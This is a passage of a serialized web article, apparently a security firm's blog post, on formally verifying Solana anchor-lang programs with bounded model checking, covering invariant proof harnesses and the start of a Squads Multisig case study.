bounded model checking. Our tool does this ",{"type":23,"tag":55,"props":20964,"children":20965},{},[20966],{"type":28,"value":20967},"automagically",{"type":28,"value":20969}," for anchor-lang programs.",{"type":23,"tag":24,"props":20971,"children":20972},{},[20973,20975,20981,20983,20988,20990,20995,20996,21001,21003,21008,21010,21015,21016,21022,21024,21030,21031,21037],{"type":28,"value":20974},"Specifically, for a given ",{"type":23,"tag":92,"props":20976,"children":20978},{"className":20977},[],[20979],{"type":28,"value":20980},"Context\u003CT>",{"type":28,"value":20982}," with ",{"type":23,"tag":55,"props":20984,"children":20985},{},[20986],{"type":28,"value":20987},"incoming",{"type":28,"value":20989}," accounts of types (",{"type":23,"tag":92,"props":20991,"children":20993},{"className":20992},[],[20994],{"type":28,"value":20218},{"type":28,"value":1787},{"type":23,"tag":92,"props":20997,"children":20999},{"className":20998},[],[21000],{"type":28,"value":914},{"type":28,"value":21002},") and ",{"type":23,"tag":55,"props":21004,"children":21005},{},[21006],{"type":28,"value":21007},"outgoing",{"type":28,"value":21009}," accounts of type (",{"type":23,"tag":92,"props":21011,"children":21013},{"className":21012},[],[21014],{"type":28,"value":914},{"type":28,"value":1787},{"type":23,"tag":92,"props":21017,"children":21019},{"className":21018},[],[21020],{"type":28,"value":21021},"close",{"type":28,"value":21023},") we define a ",{"type":23,"tag":92,"props":21025,"children":21027},{"className":21026},[],[21028],{"type":28,"value":21029},"pre_condition",{"type":28,"value":10458},{"type":23,"tag":92,"props":21032,"children":21034},{"className":21033},[],[21035],{"type":28,"value":21036},"post_condition",{"type":28,"value":21038}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":23,"tag":24,"props":21040,"children":21041},{},[21042],{"type":23,"tag":92,"props":21043,"children":21045},{"className":21044},[1183,1184],[21046],{"type":23,"tag":134,"props":21047,"children":21049},{"className":21048},[1189],[21050],{"type":23,"tag":134,"props":21051,"children":21053},{"className":21052,"ariaHidden":1195},[1194],[21054,21090],{"type":23,"tag":134,"props":21055,"children":21057},{"className":21056},[1200],[21058,21063,21071,21076,21080,21086],{"type":23,"tag":134,"props":21059,"children":21062},{"className":21060,"style":21061},[1205],"height:0.6833em;",[],{"type":23,"tag":134,"props":21064,"children":21068},{"className":21065,"style":21067},[1211,21066],"mathnormal","margin-right:0.13889em;",[21069],{"type":28,"value":21070},"P",{"type":23,"tag":134,"props":21072,"children":21074},{"className":21073},[1211],[21075],{"type":28,"value":1224},{"type":23,"tag":134,"props":21077,"children":21079},{"className":21078,"style":1390},[1292],[],{"type":23,"tag":134,"props":21081,"children":21083},{"className":21082},[1395],[21084],{"type":28,"value":21085},":=",{"type":23,"tag":134,"props":21087,"children":21089},{"className":21088,"style":1390},[1292],[],{"type":23,"tag":134,"props":21091,"children":21093},{"className":21092},[1200],[21094,21099,21239,21243],{"type":23,"tag":134,"props":21095,"children":21098},{"className":21096,"style":21097},[1205],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":23,"tag":134,"props":21100,"children":21103},{"className":21101},[21102],"mop",[21104,21113],{"type":23,"tag":134,"props":21105,"children":21110},{"className":21106,"style":21109},[21102,21107,21108],"op-symbol","small-op","position:relative;top:0em;",[21111],{"type":28,"value":21112},"⋀",{"type":23,"tag":134,"props":21114,"children":21116},{"className":21115},[1228],[21117],{"type":23,"tag":134,"props":21118,"children":21121},{"className":21119},[1233,21120],"vlist-t2",[21122,21227],{"type":23,"tag":134,"props":21123,"children":21125},{"className":21124},[1238],[21126,21220],{"type":23,"tag":134,"props":21127,"children":21130},{"className":21128,"style":21129},[1243],"height:0.2253em;",[21131],{"type":23,"tag":134,"props":21132,"children":21134},{"style":21133},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[21135,21139],{"type":23,"tag":134,"props":21136,"children":21138},{"className":21137,"style":1253},[1252],[],{"type":23,"tag":134,"props":21140,"children":21142},{"className":21141},[1258,1259,1260,1261],[21143],{"type":23,"tag":134,"props":21144,"children":21146},{"className":21145},[1211,1261],[21147,21152,21158,21168,21174,21183,21192,21198,21203,21209,21214],{"type":23,"tag":134,"props":21148,"children":21150},{"className":21149},[1211,21066,1261],[21151],{"type":28,"value":31},{"type":23,"tag":134,"props":21153,"children":21155},{"className":21154},[1211,21066,1261],[21156],{"type":28,"value":21157},"cc",{"type":23,"tag":134,"props":21159,"children":21161},{"className":21160},[1292,1261],[21162],{"type":23,"tag":134,"props":21163,"children":21165},{"className":21164},[1261],[21166],{"type":28,"value":21167}," ",{"type":23,"tag":134,"props":21169,"children":21171},{"className":21170},[1395,1261],[21172],{"type":28,"value":21173},"∈",{"type":23,"tag":134,"props":21175,"children":21177},{"className":21176},[1292,1261],[21178],{"type":23,"tag":134,"props":21179,"children":21181},{"className":21180},[1261],[21182],{"type":28,"value":21167},{"type":23,"tag":134,"props":21184,"children":21186},{"className":21185},[1211,28,1261],[21187],{"type":23,"tag":134,"props":21188,"children":21190},{"className":21189},[1211,1261],[21191],{"type":28,"value":20987},{"type":23,"tag":134,"props":21193,"children":21196},{"className":21194},[21195,1261],"mopen",[21197],{"type":28,"value":272},{"type":23,"tag":134,"props":21199,"children":21201},{"className":21200},[1211,21066,1261],[21202],{"type":28,"value":315},{"type":23,"tag":134,"props":21204,"children":21206},{"className":21205},[1211,21066,1261],[21207],{"type":28,"value":21208},"t",{"type":23,"tag":134,"props":21210,"children":21212},{"className":21211},[1211,21066,1261],[21213],{"type":28,"value":18752},{"type":23,"tag":134,"props":21215,"children":21218},{"className":21216},[21217,1261],"mclose",[21219],{"type":28,"value":296},{"type":23,"tag":134,"props":21221,"children":21224},{"className":21222},[21223],"vlist-s",[21225],{"type":28,"value":21226},"​",{"type":23,"tag":134,"props":21228,"children":21230},{"className":21229},[1238],[21231],{"type":23,"tag":134,"props":21232,"children":21235},{"className":21233,"style":21234},[1243],"height:0.4747em;",[21236],{"type":23,"tag":134,"props":21237,"children":21238},{},[],{"type":23,"tag":134,"props":21240,"children":21242},{"className":21241,"style":1331},[1292],[],{"type":23,"tag":134,"props":21244,"children":21246},{"className":21245},[1211],[21247,21257,21262,21267,21272],{"type":23,"tag":134,"props":21248,"children":21250},{"className":21249},[1211,28],[21251],{"type":23,"tag":134,"props":21252,"children":21254},{"className":21253},[1211],[21255],{"type":28,"value":21256},"invariant",{"type":23,"tag":134,"props":21258,"children":21260},{"className":21259},[21195],[21261],{"type":28,"value":272},{"type":23,"tag":134,"props":21263,"children":21265},{"className":21264},[1211,21066],[21266],{"type":28,"value":31},{"type":23,"tag":134,"props":21268,"children":21270},{"className":21269},[1211,21066],[21271],{"type":28,"value":21157},{"type":23,"tag":134,"props":21273,"children":21275},{"className":21274},[21217],[21276],{"type":28,"value":296},{"type":23,"tag":24,"props":21278,"children":21279},{},[21280],{"type":23,"tag":92,"props":21281,"children":21283},{"className":21282},[1183,1184],[21284],{"type":23,"tag":134,"props":21285,"children":21287},{"className":21286},[1189],[21288],{"type":23,"tag":134,"props":21289,"children":21291},{"className":21290,"ariaHidden":1195},[1194],[21292,21323],{"type":23,"tag":134,"props":21293,"children":21295},{"className":21294},[1200],[21296,21300,21305,21310,21314,21319],{"type":23,"tag":134,"props":21297,"children":21299},{"className":21298,"style":21061},[1205],[],{"type":23,"tag":134,"props":21301,"children":21303},{"className":21302,"style":21067},[1211,21066],[21304],{"type":28,"value":21070},{"type":23,"tag":134,"props":21306,"children":21308},{"className":21307},[1211],[21309],{"type":28,"value":1214},{"type":23,"tag":134,"props":21311,"children":21313},{"className":21312,"style":1390},[1292],[],{"type":23,"tag":134,"props":21315,"children":21317},{"className":21316},[1395],[21318],{"type":28,"value":21085},{"type":23,"tag":134,"props":21320,"children":21322},{"className":21321,"style":1390},[1292],[],{"type":23,"tag":134,"props":21324,"children":21326},{"className":21325},[1200],[21327,21331,21454,21458],{"type":23,"tag":134,"props":21328,"children":21330},{"className":21329,"style":21097},[1205],[],{"type":23,"tag":134,"props":21332,"children":21334},{"className":21333},[21102],[21335,21340],{"type":23,"tag":134,"props":21336,"children":21338},{"className":21337,"style":21109},[21102,21107,21108],[21339],{"type":28,"value":21112},{"type":23,"tag":134,"props":21341,"children":21343},{"className":21342},[1228],[21344],{"type":23,"tag":134,"props":21345,"children":21347},{"className":21346},[1233,21120],[21348,21443],{"type":23,"tag":134,"props":21349,"children":21351},{"className":21350},[1238],[21352,21438],{"type":23,"tag":134,"props":21353,"children":21355},{"className":21354,"style":21129},[1243],[21356],{"type":23,"tag":134,"props":21357,"children":21358},{"style":21133},[21359,21363],{"type":23,"tag":134,"props":21360,"children":21362},{"className":21361,"style":1253},[1252],[],{"type":23,"tag":134,"props":21364,"children":21366},{"className":21365},[1258,1259,1260,1261],[21367],{"type":23,"tag":134,"props":21368,"children":21370},{"className":21369},[1211,1261],[21371,21376,21381,21390,21395,21404,21413,21418,21423,21428,21433],{"type":23,"tag":134,"props":21372,"children":21374},{"className":21373},[1211,21066,1261],[21375],{"type":28,"value":31},{"type":23,"tag":134,"props":21377,"children":21379},{"className":21378},[1211,21066,1261],[21380],{"type":28,"value":21157},{"type":23,"tag":134,"props":21382,"children":21384},{"className":21383},[1292,1261],[21385],{"type":23,"tag":134,"props":21386,"children":21388},{"className":21387},[1261],[21389],{"type":28,"value":21167},{"type":23,"tag":134,"props":21391,"children":21393},{"className":21392},[1395,1261],[21394],{"type":28,"value":21173},{"type":23,"tag":134,"props":21396,"children":21398},{"className":21397},[1292,1261],[21399],{"type":23,"tag":134,"props":21400,"children":21402},{"className":21401},[1261],[21403],{"type":28,"value":21167},{"type":23,"tag":134,"props":21405,"children":21407},{"className":21406},[1211,28,1261],[21408],{"type":23,"tag":134,"props":21409,"children":21411},{"className":21410},[1211,1261],[21412],{"type":28,"value":21007},{"type":23,"tag":134,"props":21414,"children":21416},{"className":21415},[21195,1261],[21417],{"type":28,"value":272},{"type":23,"tag":134,"props":21419,"children":21421},{"className":21420},[1211,21066,1261],[21422],{"type":28,"value":315},{"type":23,"tag":134,"props":21424,"children":21426},{"className":21425},[1211,21066,1261],[21427],{"type":28,"value":21208},{"type":23,"tag":134,"props":21429,"children":21431},{"className":21430},[1211,21066,1261],[21432],{"type":28,"value":18752},{"type":23,"tag":134,"props":21434,"children":21436},{"className":21435},[21217,1261],[21437],{"type":28,"value":296},{"type":23,"tag":134,"props":21439,"children":21441},{"className":21440},[21223],[21442],{"type":28,"value":21226},{"type":23,"tag":134,"props":21444,"children":21446},{"className":21445},[1238],[21447],{"type":23,"tag":134,"props":21448,"children":21450},{"className":21449,"style":21234},[1243],[21451],{"type":23,"tag":134,"props":21452,"children":21453},{},[],{"type":23,"tag":134,"props":21455,"children":21457},{"className":21456,"style":1331},[1292],[],{"type":23,"tag":134,"props":21459,"children":21461},{"className":21460},[1211],[21462,21471,21476,21481,21486],{"type":23,"tag":134,"props":21463,"children":21465},{"className":21464},[1211,28],[21466],{"type":23,"tag":134,"props":21467,"children":21469},{"className":21468},[1211],[21470],{"type":28,"value":21256},{"type":23,"tag":134,"props":21472,"children":21474},{"className":21473},[21195],[21475],{"type":28,"value":272},{"type":23,"tag":134,"props":21477,"children":21479},{"className":21478},[1211,21066],[21480],{"type":28,"value":31},{"type":23,"tag":134,"props":21482,"children":21484},{"className":21483},[1211,21066],[21485],{"type":28,"value":21157},{"type":23,"tag":134,"props":21487,"children":21489},{"className":21488},[21217],[21490],{"type":28,"value":296},{"type":23,"tag":24,"props":21492,"children":21493},{},[21494],{"type":28,"value":21495},"Our instruction invariants are represented as:",{"type":23,"tag":16158,"props":21497,"children":21498},{},[21499,21535],{"type":23,"tag":4894,"props":21500,"children":21501},{},[21502,21529,21530],{"type":23,"tag":92,"props":21503,"children":21505},{"className":21504},[1183,1184],[21506],{"type":23,"tag":134,"props":21507,"children":21509},{"className":21508},[1189],[21510],{"type":23,"tag":134,"props":21511,"children":21513},{"className":21512,"ariaHidden":1195},[1194],[21514],{"type":23,"tag":134,"props":21515,"children":21517},{"className":21516},[1200],[21518,21522],{"type":23,"tag":134,"props":21519,"children":21521},{"className":21520,"style":21061},[1205],[],{"type":23,"tag":134,"props":21523,"children":21526},{"className":21524,"style":21525},[1211,21066],"margin-right:0.05764em;",[21527],{"type":28,"value":21528},"S",{"type":28,"value":14800},{"type":23,"tag":92,"props":21531,"children":21533},{"className":21532},[],[21534],{"type":28,"value":19632},{"type":23,"tag":4894,"props":21536,"children":21537},{},[21538,21564,21565],{"type":23,"tag":92,"props":21539,"children":21541},{"className":21540},[1183,1184],[21542],{"type":23,"tag":134,"props":21543,"children":21545},{"className":21544},[1189],[21546],{"type":23,"tag":134,"props":21547,"children":21549},{"className":21548,"ariaHidden":1195},[1194],[21550],{"type":23,"tag":134,"props":21551,"children":21553},{"className":21552},[1200],[21554,21558],{"type":23,"tag":134,"props":21555,"children":21557},{"className":21556,"style":21061},[1205],[],{"type":23,"tag":134,"props":21559,"children":21561},{"className":21560,"style":21525},[1211,21066],[21562],{"type":28,"value":21563},"E",{"type":28,"value":14800},{"type":23,"tag":92,"props":21566,"children":21568},{"className":21567},[],[21569],{"type":28,"value":19639},{"type":23,"tag":24,"props":21571,"children":21572},{},[21573,21575,21602,21604,21609,21611,21617],{"type":28,"value":21574},"And ",{"type":23,"tag":92,"props":21576,"children":21578},{"className":21577},[1183,1184],[21579],{"type":23,"tag":134,"props":21580,"children":21582},{"className":21581},[1189],[21583],{"type":23,"tag":134,"props":21584,"children":21586},{"className":21585,"ariaHidden":1195},[1194],[21587],{"type":23,"tag":134,"props":21588,"children":21590},{"className":21589},[1200],[21591,21595],{"type":23,"tag":134,"props":21592,"children":21594},{"className":21593,"style":21061},[1205],[],{"type":23,"tag":134,"props":21596,"children":21599},{"className":21597,"style":21598},[1211,21066],"margin-right:0.07153em;",[21600],{"type":28,"value":21601},"K",{"type":28,"value":21603}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":23,"tag":92,"props":21605,"children":21607},{"className":21606},[],[21608],{"type":28,"value":19967},{"type":28,"value":21610}," not an ",{"type":23,"tag":92,"props":21612,"children":21614},{"className":21613},[],[21615],{"type":28,"value":21616},"Err",{"type":28,"value":20220},{"type":23,"tag":24,"props":21619,"children":21620},{},[21621],{"type":28,"value":21622},"In order to verify these conditions we need to verify three cases:",{"type":23,"tag":9072,"props":21624,"children":21626},{"id":21625},"account-invariants-1",[21627],{"type":28,"value":21628},"Account invariants",{"type":23,"tag":24,"props":21630,"children":21631},{},[21632,21634,21665,21667,21697,21699,21729],{"type":28,"value":21633},"After we execute an instruction, either the function should error and be reverted (",{"type":23,"tag":92,"props":21635,"children":21637},{"className":21636},[1183,1184],[21638],{"type":23,"tag":134,"props":21639,"children":21641},{"className":21640},[1189],[21642],{"type":23,"tag":134,"props":21643,"children":21645},{"className":21644,"ariaHidden":1195},[1194],[21646],{"type":23,"tag":134,"props":21647,"children":21649},{"className":21648},[1200],[21650,21654,21660],{"type":23,"tag":134,"props":21651,"children":21653},{"className":21652,"style":21061},[1205],[],{"type":23,"tag":134,"props":21655,"children":21657},{"className":21656},[1211],[21658],{"type":28,"value":21659},"¬",{"type":23,"tag":134,"props":21661,"children":21663},{"className":21662,"style":21598},[1211,21066],[21664],{"type":28,"value":21601},{"type":28,"value":21666},") or the account post-invariants should hold (",{"type":23,"tag":92,"props":21668,"children":21670},{"className":21669},[1183,1184],[21671],{"type":23,"tag":134,"props":21672,"children":21674},{"className":21673},[1189],[21675],{"type":23,"tag":134,"props":21676,"children":21678},{"className":21677,"ariaHidden":1195},[1194],[21679],{"type":23,"tag":134,"props":21680,"children":21682},{"className":21681},[1200],[21683,21687,21692],{"type":23,"tag":134,"props":21684,"children":21686},{"className":21685,"style":21061},[1205],[],{"type":23,"tag":134,"props":21688,"children":21690},{"className":21689,"style":21067},[1211,21066],[21691],{"type":28,"value":21070},{"type":23,"tag":134,"props":21693,"children":21695},{"className":21694},[1211],[21696],{"type":28,"value":1214},{"type":28,"value":21698},"). Furthermore, we can assume that before executing a function, the account pre-invariants (",{"type":23,"tag":92,"props":21700,"children":21702},{"className":21701},[1183,1184],[21703],{"type":23,"tag":134,"props":21704,"children":21706},{"className":21705},[1189],[21707],{"type":23,"tag":134,"props":21708,"children":21710},{"className":21709,"ariaHidden":1195},[1194],[21711],{"type":23,"tag":134,"props":21712,"children":21714},{"className":21713},[1200],[21715,21719,21724],{"type":23,"tag":134,"props":21716,"children":21718},{"className":21717,"style":21061},[1205],[],{"type":23,"tag":134,"props":21720,"children":21722},{"className":21721,"style":21067},[1211,21066],[21723],{"type":28,"value":21070},{"type":23,"tag":134,"props":21725,"children":21727},{"className":21726},[1211],[21728],{"type":28,"value":1224},{"type":28,"value":21730},") should hold since we will verify all of the functions eventually.",{"type":23,"tag":24,"props":21732,"children":21733},{},[21734,21736],{"type":28,"value":21735},"So we are trying to prove that ",{"type":23,"tag":92,"props":21737,"children":21739},{"className":21738},[1183,1184],[21740],{"type":23,"tag":134,"props":21741,"children":21743},{"className":21742},[1189],[21744],{"type":23,"tag":134,"props":21745,"children":21747},{"className":21746,"ariaHidden":1195},[1194],[21748,21785,21817],{"type":23,"tag":134,"props":21749,"children":21751},{"className":21750},[1200],[21752,21756,21761,21766,21771,21775,21781],{"type":23,"tag":134,"props":21753,"children":21755},{"className":21754,"style":1313},[1205],[],{"type":23,"tag":134,"props":21757,"children":21759},{"className":21758},[21195],[21760],{"type":28,"value":272},{"type":23,"tag":134,"props":21762,"children":21764},{"className":21763,"style":21067},[1211,21066],[21765],{"type":28,"value":21070},{"type":23,"tag":134,"props":21767,"children":21769},{"className":21768},[1211],[21770],{"type":28,"value":1224},{"type":23,"tag":134,"props":21772,"children":21774},{"className":21773,"style":1293},[1292],[],{"type":23,"tag":134,"props":21776,"children":21778},{"className":21777},[1298],[21779],{"type":28,"value":21780},"∧",{"type":23,"tag":134,"props":21782,"children":21784},{"className":21783,"style":1293},[1292],[],{"type":23,"tag":134,"props":21786,"children":21788},{"className":21787},[1200],[21789,21793,21798,21803,21807,21813],{"type":23,"tag":134,"props":21790,"children":21792},{"className":21791,"style":1313},[1205],[],{"type":23,"tag":134,"props":21794,"children":21796},{"className":21795,"style":21598},[1211,21066],[21797],{"type":28,"value":21601},{"type":23,"tag":134,"props":21799,"children":21801},{"className":21800},[21217],[21802],{"type":28,"value":296},{"type":23,"tag":134,"props":21804,"children":21806},{"className":21805,"style":1390},[1292],[],{"type":23,"tag":134,"props":21808,"children":21810},{"className":21809},[1395],[21811],{"type":28,"value":21812},"→",{"type":23,"tag":134,"props":21814,"children":21816},{"className":21815,"style":1390},[1292],[],{"type":23,"tag":134,"props":21818,"children":21820},{"className":21819},[1200],[21821,21825,21830],{"type":23,"tag":134,"props":21822,"children":21824},{"className":21823,"style":21061},[1205],[],{"type":23,"tag":134,"props":21826,"children":21828},{"className":21827,"style":21067},[1211,21066],[21829],{"type":28,"value":21070},{"type":23,"tag":134,"props":21831,"children":21833},{"className":21832},[1211],[21834],{"type":28,"value":1214},{"type":23,"tag":24,"props":21836,"children":21837},{},[21838],{"type":28,"value":21839},"We can construct a proof harness like the following:",{"type":23,"tag":87,"props":21841,"children":21843},{"code":21842,"language":18937,"meta":7,"className":18938,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[21844],{"type":23,"tag":92,"props":21845,"children":21846},{"__ignoreMap":7},[21847,21855,21872],{"type":23,"tag":134,"props":21848,"children":21849},{"class":136,"line":137},[21850],{"type":23,"tag":134,"props":21851,"children":21852},{"style":179},[21853],{"type":28,"value":21854},"assume(P0)\n",{"type":23,"tag":134,"props":21856,"children":21857},{"class":136,"line":147},[21858,21863,21867],{"type":23,"tag":134,"props":21859,"children":21860},{"style":179},[21861],{"type":28,"value":21862},"res ",{"type":23,"tag":134,"props":21864,"children":21865},{"style":168},[21866],{"type":28,"value":257},{"type":23,"tag":134,"props":21868,"children":21869},{"style":179},[21870],{"type":28,"value":21871}," instruction_handler(...)\n",{"type":23,"tag":134,"props":21873,"children":21874},{"class":136,"line":185},[21875,21879,21883,21888,21893,21898],{"type":23,"tag":134,"props":21876,"children":21877},{"style":189},[21878],{"type":28,"value":19461},{"type":23,"tag":134,"props":21880,"children":21881},{"style":179},[21882],{"type":28,"value":272},{"type":23,"tag":134,"props":21884,"children":21886},{"style":21885},"--shiki-default:#F44747",[21887],{"type":28,"value":20099},{"type":23,"tag":134,"props":21889,"children":21890},{"style":179},[21891],{"type":28,"value":21892},"K ",{"type":23,"tag":134,"props":21894,"children":21895},{"style":21885},[21896],{"type":28,"value":21897},"||",{"type":23,"tag":134,"props":21899,"children":21900},{"style":179},[21901],{"type":28,"value":21902}," P1)\n",{"type":23,"tag":24,"props":21904,"children":21905},{},[21906],{"type":28,"value":21907},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":23,"tag":9072,"props":21909,"children":21911},{"id":21910},"positive-instruction-invariant",[21912],{"type":28,"value":21913},"Positive instruction invariant",{"type":23,"tag":24,"props":21915,"children":21916},{},[21917,21919,21925,21927,21978],{"type":28,"value":21918},"Next we need to prove that ",{"type":23,"tag":92,"props":21920,"children":21922},{"className":21921},[],[21923],{"type":28,"value":21924},"success_if",{"type":28,"value":21926}," is a sufficient condition for instruction success. I.e. ",{"type":23,"tag":92,"props":21928,"children":21930},{"className":21929},[1183,1184],[21931],{"type":23,"tag":134,"props":21932,"children":21934},{"className":21933},[1189],[21935],{"type":23,"tag":134,"props":21936,"children":21938},{"className":21937,"ariaHidden":1195},[1194],[21939,21965],{"type":23,"tag":134,"props":21940,"children":21942},{"className":21941},[1200],[21943,21947,21952,21956,21961],{"type":23,"tag":134,"props":21944,"children":21946},{"className":21945,"style":21061},[1205],[],{"type":23,"tag":134,"props":21948,"children":21950},{"className":21949,"style":21525},[1211,21066],[21951],{"type":28,"value":21528},{"type":23,"tag":134,"props":21953,"children":21955},{"className":21954,"style":1390},[1292],[],{"type":23,"tag":134,"props":21957,"children":21959},{"className":21958},[1395],[21960],{"type":28,"value":21812},{"type":23,"tag":134,"props":21962,"children":21964},{"className":21963,"style":1390},[1292],[],{"type":23,"tag":134,"props":21966,"children":21968},{"className":21967},[1200],[21969,21973],{"type":23,"tag":134,"props":21970,"children":21972},{"className":21971,"style":21061},[1205],[],{"type":23,"tag":134,"props":21974,"children":21976},{"className":21975,"style":21598},[1211,21066],[21977],{"type":28,"value":21601},{"type":28,"value":720},{"type":23,"tag":24,"props":21980,"children":21981},{},[21982],{"type":28,"value":21983},"Just like before we can construct a proof harness:",{"type":23,"tag":87,"props":21985,"children":21987},{"code":21986,"language":18937,"meta":7,"className":18938,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[21988],{"type":23,"tag":92,"props":21989,"children":21990},{"__ignoreMap":7},[21991,21999,22014],{"type":23,"tag":134,"props":21992,"children":21993},{"class":136,"line":137},[21994],{"type":23,"tag":134,"props":21995,"children":21996},{"style":179},[21997],{"type":28,"value":21998},"assume(S)\n",{"type":23,"tag":134,"props":22000,"children":22001},{"class":136,"line":147},[22002,22006,22010],{"type":23,"tag":134,"props":22003,"children":22004},{"style":179},[22005],{"type":28,"value":21862},{"type":23,"tag":134,"props":22007,"children":22008},{"style":168},[22009],{"type":28,"value":257},{"type":23,"tag":134,"props":22011,"children":22012},{"style":179},[22013],{"type":28,"value":21871},{"type":23,"tag":134,"props":22015,"children":22016},{"class":136,"line":185},[22017,22021],{"type":23,"tag":134,"props":22018,"children":22019},{"style":189},[22020],{"type":28,"value":19461},{"type":23,"tag":134,"props":22022,"children":22023},{"style":179},[22024],{"type":28,"value":22025},"(K)\n",{"type":23,"tag":24,"props":22027,"children":22028},{},[22029,22031,22036,22038,22050],{"type":28,"value":22030},"This proof assures that whenever ",{"type":23,"tag":92,"props":22032,"children":22034},{"className":22033},[],[22035],{"type":28,"value":19632},{"type":28,"value":22037}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":23,"tag":55,"props":22039,"children":22040},{},[22041,22043,22048],{"type":28,"value":22042},"even if ",{"type":23,"tag":92,"props":22044,"children":22046},{"className":22045},[],[22047],{"type":28,"value":19632},{"type":28,"value":22049}," is not satisfied",{"type":28,"value":22051},". To specify explicit error conditions we need our third and final proof.",{"type":23,"tag":9072,"props":22053,"children":22055},{"id":22054},"_3-negative-instruction-invariant",[22056],{"type":28,"value":22057},"3. Negative instruction invariant",{"type":23,"tag":24,"props":22059,"children":22060},{},[22061,22063,22068,22070,22126],{"type":28,"value":22062},"Finally, we want to prove that ",{"type":23,"tag":92,"props":22064,"children":22066},{"className":22065},[],[22067],{"type":28,"value":19639},{"type":28,"value":22069}," is a sufficient condition for instruction failure. I.e. ",{"type":23,"tag":92,"props":22071,"children":22073},{"className":22072},[1183,1184],[22074],{"type":23,"tag":134,"props":22075,"children":22077},{"className":22076},[1189],[22078],{"type":23,"tag":134,"props":22079,"children":22081},{"className":22080,"ariaHidden":1195},[1194],[22082,22108],{"type":23,"tag":134,"props":22083,"children":22085},{"className":22084},[1200],[22086,22090,22095,22099,22104],{"type":23,"tag":134,"props":22087,"children":22089},{"className":22088,"style":21061},[1205],[],{"type":23,"tag":134,"props":22091,"children":22093},{"className":22092,"style":21525},[1211,21066],[22094],{"type":28,"value":21563},{"type":23,"tag":134,"props":22096,"children":22098},{"className":22097,"style":1390},[1292],[],{"type":23,"tag":134,"props":22100,"children":22102},{"className":22101},[1395],[22103],{"type":28,"value":21812},{"type":23,"tag":134,"props":22105,"children":22107},{"className":22106,"style":1390},[1292],[],{"type":23,"tag":134,"props":22109,"children":22111},{"className":22110},[1200],[22112,22116,22121],{"type":23,"tag":134,"props":22113,"children":22115},{"className":22114,"style":21061},[1205],[],{"type":23,"tag":134,"props":22117,"children":22119},{"className":22118},[1211],[22120],{"type":28,"value":21659},{"type":23,"tag":134,"props":22122,"children":22124},{"className":22123,"style":21598},[1211,21066],[22125],{"type":28,"value":21601},{"type":28,"value":720},{"type":23,"tag":24,"props":22128,"children":22129},{},[22130],{"type":28,"value":22131},"This harness looks just like the previous one:",{"type":23,"tag":87,"props":22133,"children":22135},{"code":22134,"language":18937,"meta":7,"className":18938,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[22136],{"type":23,"tag":92,"props":22137,"children":22138},{"__ignoreMap":7},[22139,22147,22162],{"type":23,"tag":134,"props":22140,"children":22141},{"class":136,"line":137},[22142],{"type":23,"tag":134,"props":22143,"children":22144},{"style":179},[22145],{"type":28,"value":22146},"assume(E)\n",{"type":23,"tag":134,"props":22148,"children":22149},{"class":136,"line":147},[22150,22154,22158],{"type":23,"tag":134,"props":22151,"children":22152},{"style":179},[22153],{"type":28,"value":21862},{"type":23,"tag":134,"props":22155,"children":22156},{"style":168},[22157],{"type":28,"value":257},{"type":23,"tag":134,"props":22159,"children":22160},{"style":179},[22161],{"type":28,"value":21871},{"type":23,"tag":134,"props":22163,"children":22164},{"class":136,"line":185},[22165,22169,22173,22177],{"type":23,"tag":134,"props":22166,"children":22167},{"style":189},[22168],{"type":28,"value":19461},{"type":23,"tag":134,"props":22170,"children":22171},{"style":179},[22172],{"type":28,"value":272},{"type":23,"tag":134,"props":22174,"children":22175},{"style":21885},[22176],{"type":28,"value":20099},{"type":23,"tag":134,"props":22178,"children":22179},{"style":179},[22180],{"type":28,"value":22181},"K)\n",{"type":23,"tag":24,"props":22183,"children":22184},{},[22185,22187,22191],{"type":28,"value":22186},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":23,"tag":55,"props":22188,"children":22189},{},[22190],{"type":28,"value":15842},{"type":28,"value":22192}," the account invariants we expect are always being preserved.",{"type":23,"tag":61,"props":22194,"children":22196},{"id":22195},"case-study-squads-multisig",[22197],{"type":28,"value":22198},"Case study: Squads Multisig",{"type":23,"tag":24,"props":22200,"children":22201},{},[22202,22204,22209],{"type":28,"value":22203},"During our research, we focused on formally verifying aspects of the ",{"type":23,"tag":31,"props":22205,"children":22207},{"href":18299,"rel":22206},[35],[22208],{"type":28,"value":18303},{"type":28,"value":720},{"type":23,"tag":24,"props":22211,"children":22212},{},[22213,22215,22221,22223,22229],{"type":28,"value":22214},"The program defines a Multisig account (",{"type":23,"tag":92,"props":22216,"children":22218},{"className":22217},[],[22219],{"type":28,"value":22220},"Ms",{"type":28,"value":22222},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":23,"tag":92,"props":22224,"children":22226},{"className":22225},[],[22227],{"type":28,"value":22228},"threshold",{"type":28,"value":22230}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":23,"tag":24,"props":22232,"children":22233},{},[22234],{"type":28,"value":22235},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":23,"tag":24,"props":22237,"children":22238},{},[22239],{"type":28,"value":22240},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":23,"tag":4890,"props":22242,"children":22243},{},[22244,22249,22254,22259],{"type":23,"tag":4894,"props":22245,"children":22246},{},[22247],{"type":28,"value":22248},"Incrementally verifying minimum requirements to create a multisig",{"type":23,"tag":4894,"props":22250,"children":22251},{},[22252],{"type":28,"value":22253},"Verify threshold requirements",{"type":23,"tag":4894,"props":22255,"children":22256},{},[22257],{"type":28,"value":22258},"Verify requirements to remove a member",{"type":23,"tag":4894,"props":22260,"children":22261},{},[22262],{"type":28,"value":22263},"Safety guarantees",{"type":23,"tag":9072,"props":22265,"children":22267},{"id":22266},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[22268],{"type":28,"value":22269},"1. 